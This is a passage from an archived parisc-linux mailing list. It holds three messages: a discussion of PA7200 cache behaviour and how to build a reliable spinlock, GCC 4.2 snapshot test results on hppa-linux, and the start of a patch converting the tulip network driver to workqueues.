	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12577-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:42:31 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 7D34F7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 10:42:31 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3QGgPdK043464;
	Wed, 26 Apr 2006 09:42:25 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.197.117] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id nIB0JNH2
	authenticated by SMTP; Wed, 26 Apr 2006 09:42:24 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZscnCZItbHIyva3NNjQ0MikqJihyapBp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23638

On Mon April 24 2006 11:50, John David Anglin wrote:
> > On Mon, Apr 24, 2006 at 11:35:48AM -0400, John David Anglin wrote:
> > > The intent of the errata seems to be to relax the alignment requirement
> > > for ldc[dw],co in cases where the spinlock is not being shared with a
> > > non-coherent I/O device.
> > 
> > AFAIK, only one non-coherent PA-RISC box has PA2.0 and parisc-linux
> > doesn't support it: T600.
> 
> It probably has coherent I & D caches as well as this seems to be a
> requirement for both 1.1 and 2.0.
> 
> > (I'm assuming ",co" completer is PA2.0 only - please correct me if
> > that's wrong.)
> 
> It's not in the PA 1.1 arch...
> 
Dave, Grant, Group;

We are faced with 10 year old documentation on a 20 year old design
and a question on a 21st century kernel.

To find a direct quote in answer to a bullet proof spinlock in this
context has eluded me.
But, I think I can explain the requirements.

To keep this mail from becoming pathologically long, I will paraphrase
a lot.

You want on hand the:

PA7200_design.pdf (HP website);

Ms. Ruby B. Lee's article "Precision Architecture" from IEEE Computer,
Volume 22, No. 1, January 1989, pp 79-91 (IEEE Society will sell you 
a reprint);

The tables and descriptions of load/store completer codes from the
PA Instruction Overview (website);

The instruction descriptions for ldw/stw/ldcw from the PA Instruction
descriptions (website);

Optionally, HP Patent No. 6,079,012 - get the 'image' version with
the nice flow charts. (ignore the issue date)

- - - -

Background:

Ms. Lee redesigned the data cache system for the PA7200; she also
gave us the instructions that we need to deal with our problem.

Ms. Lee describes this as a Level 1 cache without a Level 2 cache.
Without quibbling over terminology, consider it a split, single
level, cache system.  That makes its layout clearer.

Physically, it is split into two parts.  A small cache, on-chip,
which she terms an 'assist cache' and the larger capacity, off-chip
cache.  Both run at cpu clock speed.

The cpu operates only on/to/from the data in the assist cache.
A not present address is fetched directly to the assist cache, if
it is not present in the off-chip cache.

What happens when the little cache runs out of room?

Without programmer intervention, it is written to the off-chip cache,
and it is the off-chip cache that deals with memory when required.

How to make changes (such as lock release) immediately observable?

Ms. Lee gave us a couple new instructions.  The tech writer who wrote
the instruction descriptions call these 'Hints'. 
Ms. Lee describes them as cache control commands.

Enter the 'sl' completer for ldw/stw.

Specifying the 'sl' disables the write-back to the off-chip cache
and causes the assist cache to write to main memory.  In effect, a
strongly ordered store of a Dcache line flush.

This design also employs 'cache snooping' and allows approximately
ten snoops to be outstanding at the same time.  

The snoops have a higher priority than the data/instruction transactions.
They _should not_ (but might) require a 'sync' to give us the 
immediately observable lock release that we require.

It is unclear to me if the ownership (master/slave) relationship
of the cache lines still holds in this new design.  Both the on-chip
and off-chip caches are under the control of the same on-chip CAM.
(Which probably why she calls this a single level cache system.)

- - - -

Entering the 21st century, Linux world...

Consider:
Load balancing can 'pull' a task off of a cpu and migrate it
to another cpu...
Kernel code is executed in the kernel context of the user task...
Tasks can be preempted...

It seems (without a code path audit) that a task could be migrated
to another cpu while holding an 'in system' spinlock.

Now that would be a rare occurrence, but the current spinlocks only
fail once every two or three days under heavy load.

- - - -

The bullet proof spinlock...

The elegant solution lies somewhere between this and what is
currently implemented.

/* Optional, only if available and proven needed */
- - Save current flag and set tcb 'do not migrate'
- - Save current flag and set tcb 'do not preempt'

/* If another processor already holds the lock, the cache
   line has been replicated in our cache. Pretend we are
   first to use the lock. */

	ldw,sl the_lock, a_register  /* This will be assist cache only */
    ldcw,co the_lock, a_register /* Try to grab lock */

- - If successful, continue
- - If fail, spin on either ldcw,co or a ldw,sl - not clear which

/* Now release the lock with the implied assist cache line flush
   to memory. */

   stw,sl UNLOCKED, the_lock

/* If we diddled the scheduler tcb flags, restore them here
- - Restore the tcb 'do not preempt'
- - Restore the tcb 'do not migrate'

- - - -

At which point, I must defer to the software engineering department.

Mike
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Wed, 26 Apr 2006 19:38:57 +0200
Lines: 325
Approved: news@gmane.org
Message-ID: <IYCBOX$3B000069249C22339E9F9F5DC8AB8238@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624074 19459 80.91.229.3 (22 Nov 2014 02:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Apr 2006 17:39:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 26 Apr 2006 19:39:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E9B87D6EF;
	Wed, 26 Apr 2006 11:39:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13207-06; Wed, 26 Apr 2006 11:39:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF4337D6F0;
	Wed, 26 Apr 2006 11:39:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EDF67D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 11:39:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13207-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 11:39:06 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 0FB327D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 26 Apr 2006 11:39:05 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by oola.is.scarlet.be  with ESMTP id k3QHcvj26364; 
	Wed, 26 Apr 2006 19:38:57 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Jtk6d0MqODBpsLWUfGRMO041Ji9SWlKB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23639

> >                 =3D=3D=3D gfortran Summary =3D=3D=3D
> > 
> > # of expected passes            12718
> > # of unexpected failures        2
> > # of expected failures          14
> > # of unsupported tests          96
> > # of expected failures          12
> > # of unsupported tests          315
> 
> Excellent.  All the complex fails are fixed.  I'll do a PR on the
> two enum fails.
> 
> It would be great if you could generate a test summary with
> contrib/test_summary 

mmm, the build of the gcc-snapshot dpkg already prepare its 'test-summary=
' file:
Results for 4.2.0 20060425 (experimental) testsuite on hppa-unknown-linux=
-gnu
LAST_UPDATED: 
Native configuration is hppa-unknown-linux-gnu

		=3D=3D=3D g++ tests =3D=3D=3D


Running target unix

		=3D=3D=3D g++ Summary =3D=3D=3D

# of expected passes		12322
# of expected failures		67
# of unsupported tests		124
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/testsuit=
e/g++/../../g++
 version 4.2.0 20060425 (experimental)

		=3D=3D=3D gcc tests =3D=3D=3D


Running target unix
WARNING: program timed out.
FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -g  (test for excess errors=
)
FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3
-fomit-frame-pointer -funroll-loops 
FAIL: gcc.c-torture/execute/builtin-bitops-1.c execution,  -O3
-fomit-frame-pointer -funroll-all-loops -finline-functions 
FAIL: gcc.dg/gomp/pr25989.c (test for excess errors)
FAIL: gcc.dg/torture/pr24626-1.c  -O2  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-1.c  -O3 -fomit-frame-pointer  (test for exc=
ess
errors)
FAIL: gcc.dg/torture/pr24626-1.c  -O3 -g  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-1.c  -Os  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-2.c  -O2  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-2.c  -O3 -fomit-frame-pointer  (test for exc=
ess
errors)
FAIL: gcc.dg/torture/pr24626-2.c  -O3 -g  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-3.c  -O2  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-3.c  -O3 -fomit-frame-pointer  (test for exc=
ess
errors)
FAIL: gcc.dg/torture/pr24626-3.c  -O3 -g  (test for excess errors)
FAIL: gcc.dg/torture/pr24626-3.c  -Os  (test for excess errors)
FAIL: gcc.dg/tree-prof/val-prof-2.c scan-tree-dump n \\+ \\-1
XPASS: gcc.dg/tree-ssa/loop-1.c scan-assembler-times foo 5

		=3D=3D=3D gcc Summary =3D=3D=3D

# of expected passes		37948
# of unexpected failures	16
# of unexpected successes	1
# of expected failures		79
# of untested testcases		28
# of unsupported tests		382
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/xgcc  ve=
rsion
4.2.0 20060425 (experimental)

		=3D=3D=3D gfortran tests =3D=3D=3D


Running target unix
FAIL: gfortran.dg/enum_2.f90  -O   (test for errors, line 9)
FAIL: gfortran.dg/enum_2.f90  -O  (test for excess errors)

		=3D=3D=3D gfortran Summary =3D=3D=3D

# of expected passes		12718
# of unexpected failures	2
# of expected failures		14
# of unsupported tests		96
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/testsuit=
e/gfortran/../../gfortran
 version 4.2.0 20060425 (experimental)

		=3D=3D=3D obj-c++ tests =3D=3D=3D


Running target unix
FAIL: obj-c++.dg/comp-types-10.mm (test for excess errors)
FAIL: obj-c++.dg/cxx-ivars-2.mm execution test
FAIL: obj-c++.dg/encode-3.mm (test for excess errors)
FAIL: obj-c++.dg/encode-8.mm execution test
FAIL: obj-c++.dg/isa-field-1.mm (test for excess errors)
FAIL: obj-c++.dg/lookup-2.mm (test for excess errors)
WARNING: obj-c++.dg/lookup-2.mm compilation failed to produce executable
FAIL: obj-c++.dg/try-catch-2.mm (test for excess errors)
WARNING: obj-c++.dg/try-catch-2.mm compilation failed to produce executab=
le
FAIL: obj-c++.dg/try-catch-9.mm (test for excess errors)
WARNING: obj-c++.dg/try-catch-9.mm compilation failed to produce executab=
le

		=3D=3D=3D obj-c++ Summary =3D=3D=3D

# of expected passes		425
# of unexpected failures	8
# of unsupported tests		13
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/testsuit=
e/obj-c++/../../g++
 version 4.2.0 20060425 (experimental)

		=3D=3D=3D objc tests =3D=3D=3D


Running target unix

		=3D=3D=3D objc Summary =3D=3D=3D

# of expected passes		1752
# of expected failures		7
# of unsupported tests		24
/CAD/parisc-linux/Dpkg/dpkg-work/gcc-snapshot-20060425/build/gcc/xgcc  ve=
rsion
4.2.0 20060425 (experimental)

		=3D=3D=3D treelang tests =3D=3D=3D


Running target unix

		=3D=3D=3D treelang Summary =3D=3D=3D

# of expected passes		50
		=3D=3D=3D libffi tests =3D=3D=3D


Running target unix

		=3D=3D=3D libffi Summary =3D=3D=3D

# of expected passes		1072
# of unsupported tests		8
		=3D=3D=3D libgomp tests =3D=3D=3D


Running target unix
FAIL: libgomp.c/critical-1.c (test for excess errors)
WARNING: libgomp.c/critical-1.c compilation failed to produce executable
FAIL: libgomp.c/loop-1.c (test for excess errors)
WARNING: libgomp.c/loop-1.c compilation failed to produce executable
FAIL: libgomp.c/loop-2.c (test for excess errors)
WARNING: libgomp.c/loop-2.c compilation failed to produce executable
FAIL: libgomp.c/ordered-1.c (test for excess errors)
WARNING: libgomp.c/ordered-1.c compilation failed to produce executable
FAIL: libgomp.c/ordered-2.c (test for excess errors)
WARNING: libgomp.c/ordered-2.c compilation failed to produce executable
FAIL: libgomp.c/sections-1.c (test for excess errors)
WARNING: libgomp.c/sections-1.c compilation failed to produce executable
FAIL: libgomp.c/single-1.c (test for excess errors)
WARNING: libgomp.c/single-1.c compilation failed to produce executable
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O0  execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O1  execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O2  execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O3 -fomit-frame-pointer  execution=
 test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O3 -fomit-frame-pointer -funroll-l=
oops
 execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O3 -fomit-frame-pointer
-funroll-all-loops -finline-functions  execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -O3 -g  execution test
WARNING: program timed out.
FAIL: libgomp.fortran/reduction6.f90  -Os  execution test

		=3D=3D=3D libgomp Summary =3D=3D=3D

# of expected passes		1136
# of unexpected failures	15
# of unsupported tests		110
		=3D=3D=3D libjava tests =3D=3D=3D


Running target unix
XPASS: PR26858 execution - source compiled test
XPASS: PR26858 output - source compiled test
XPASS: PR26858 execution - bytecode->native test
XPASS: PR26858 output - bytecode->native test
XPASS: PR26858 -O3 execution - source compiled test
XPASS: PR26858 -O3 output - source compiled test
XPASS: PR26858 -O3 execution - bytecode->native test
XPASS: PR26858 -O3 output - bytecode->native test
FAIL: Serialization output - gij test
FAIL: Serialization output - gij test
FAIL: negzero output - gij test
FAIL: negzero output - gij test
FAIL: pr25676 output - gij test
FAIL: pr25676 output - gij test

		=3D=3D=3D libjava Summary =3D=3D=3D

# of expected passes		4143
# of unexpected failures	6
# of unexpected successes	8
# of expected failures		12
# of untested testcases		10
		=3D=3D=3D libmudflap tests =3D=3D=3D


Running target unix

		=3D=3D=3D libmudflap Summary =3D=3D=3D

# of expected passes		1814
		=3D=3D=3D libstdc++ tests =3D=3D=3D


Running target unix
FAIL: 25_algorithms/prev_permutation/1.cc execution test
XPASS: 26_numerics/cmath/c99_classification_macros_c.cc (test for excess =
errors)

		=3D=3D=3D libstdc++ Summary =3D=3D=3D

# of expected passes		3540
# of unexpected failures	1
# of unexpected successes	1
# of expected failures		12
# of unsupported tests		315

Compiler version: 4.2.0 20060425 (experimental) 
Platform: hppa-unknown-linux-gnu
configure flags: -v --prefix=3D/usr/lib/gcc-snapshot --enable-shared
--with-system-zlib --disable-nls --enable-__cxa_atexit --enable-clocale=3D=
gnu
--enable-libstdcxx-debug --enable-java-awt=3Dgtk --enable-gtk-cairo
--with-java-home=3D/usr/lib/gcc-snapshot/jre --enable-mpfr --disable-werr=
or
hppa-linux-gnu --enable-languages=3Dc,c++,fortran,java,objc,obj-c++,treel=
ang
BOOT_CFLAGS=3D-O2


Build Dependencies:
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-install=
ed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err: uppe=
rcase=3Dbad)
||/ Name           Version             Description
+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D
ii  binutils       2.16.1cvs20060413-1 The GNU assembler, linker and bina=
ry
utilities


Patches that Debian applied in this version:

cpu-default-i486:
  set default 32bit ix86 architecture to i486

gcc-ice-hack:
  2004-01-23  Jakub Jelinek  <jakub@redhat.com>
  
  	* system.h (ICE_EXIT_CODE): Define.
  	* gcc.c (execute): Don't free first string early, but at the end
  	of the function.  Call retry_ice if compiler exited with
  	ICE_EXIT_CODE.
  	(retry_ice): New function.
  	* diagnostic.c (diagnostic_count_diagnostic,
  	diagnostic_action_after_output, error_recursion): Exit with
  	ICE_EXIT_CODE instead of FATAL_EXIT_CODE.

Counting all warnings,
there are 0 warnings in stage3 of this bootstrap.

Number of warnings per file:

Number of warning types:
=3D=3D=3D=3D<>=3D=3D=3D=3D

Or would it be better to run the purely gcc script?


>and use the generated script to mail the
> results to gcc-testresults@gcc.gnu.org.
> 
> Thanks,

Welcome,
    Joel
=0A=0A----------=0AWordt ook lid van de Scarlet Club via een bestaande Sc=
arlet klant en ontvang cadeaucheques twv EUR 50! Bezoek snel http://www.s=
carletclub.be=0ADevenez aussi membre du Club Scarlet via un client Scarle=
t existant et recevez des cheques cadeaux jusqu'a EUR 50! Surfez vite sur=
 http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] updated tulip workqueue patch
Date: Sat, 29 Apr 2006 23:36:00 -0400
Lines: 386
Approved: news@gmane.org
Message-ID: <20060430033600.GA1358@skunkworks.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624075 19463 80.91.229.3 (22 Nov 2014 02:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 03:40:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 30 Apr 2006 05:40:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 118677D666;
	Sat, 29 Apr 2006 21:40:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12734-07; Sat, 29 Apr 2006 21:40:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B87D7D667;
	Sat, 29 Apr 2006 21:40:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98F417D665
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:40:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12734-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:40:36 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 706347D663
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:40:36 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9049E5840B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 23:40:33 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4F5355840B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 23:40:32 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id DB9BE23E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 23:40:31 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24350-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 23:40:31 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id 8331B23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 23:40:31 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 6F2D52FED8; Sat, 29 Apr 2006 23:36:00 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iAlidUMnYmYSn+nCanc3JiVKWkZTQRR8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23640

Updated version of Francois Romieu <romieu <at> fr.zoreil.com>'s patch
to convert tulip to use workqueues.

diff --git a/drivers/net/tulip/21142.c b/drivers/net/tulip/21142.c
index 683f14b..ffba0c1 100644
--- a/drivers/net/tulip/21142.c
+++ b/drivers/net/tulip/21142.c
@@ -26,9 +26,9 @@ static u16 t21142_csr15[] = { 0x0008, 0x
 
 /* Handle the 21143 uniquely: do autoselect with NWay, not the EEPROM list
    of available transceivers.  */
-void t21142_timer(unsigned long data)
+void t21142_media_task(void *data)
 {
-	struct net_device *dev = (struct net_device *)data;
+	struct net_device *dev = data;
 	struct tulip_private *tp = netdev_priv(dev);
 	void __iomem *ioaddr = tp->base_addr;
 	int csr12 = ioread32(ioaddr + CSR12);
diff --git a/drivers/net/tulip/media.c b/drivers/net/tulip/media.c
index f53396f..75c7659 100644
--- a/drivers/net/tulip/media.c
+++ b/drivers/net/tulip/media.c
@@ -44,8 +44,10 @@ static const unsigned char comet_miireg2
 
 /* MII transceiver control section.
    Read and write the MII registers using software-generated serial
-   MDIO protocol.  See the MII specifications or DP83840A data sheet
-   for details. */
+   MDIO protocol.
+   See IEEE 802.3-2002.pdf (Section 2, Chapter "22.2.4 Management functions")
+   or DP83840A data sheet for more details.
+   */
 
 int tulip_mdio_read(struct net_device *dev, int phy_id, int location)
 {
@@ -261,24 +263,56 @@ void tulip_select_media(struct net_devic
 				u16 *reset_sequence = &((u16*)(p+3))[init_length];
 				int reset_length = p[2 + init_length*2];
 				misc_info = reset_sequence + reset_length;
-				if (startup)
+				if (startup) {
+					int timeout = 10;	/* max 1 ms */
 					for (i = 0; i < reset_length; i++)
 						iowrite32(get_u16(&reset_sequence[i]) << 16, ioaddr + CSR15);
+				
+					/* flush posted writes */
+					ioread32(ioaddr + CSR15);
+
+					/* Sect 3.10.3 in DP83840A.pdf (p39) */
+					msleep(1);
+
+					/* Section 4.2 in DP83840A.pdf (p43) */
+					/* and IEEE 802.3 "22.2.4.1.1 Reset" */
+					while (timeout-- &&
+						(tulip_mdio_read (dev, phy_num, MII_BMCR) & BMCR_RESET))
+						msleep(1);
+				}
 				for (i = 0; i < init_length; i++)
 					iowrite32(get_u16(&init_sequence[i]) << 16, ioaddr + CSR15);
+
+				ioread32(ioaddr + CSR15);	/* flush posted writes */
 			} else {
 				u8 *init_sequence = p + 2;
 				u8 *reset_sequence = p + 3 + init_length;
 				int reset_length = p[2 + init_length];
 				misc_info = (u16*)(reset_sequence + reset_length);
 				if (startup) {
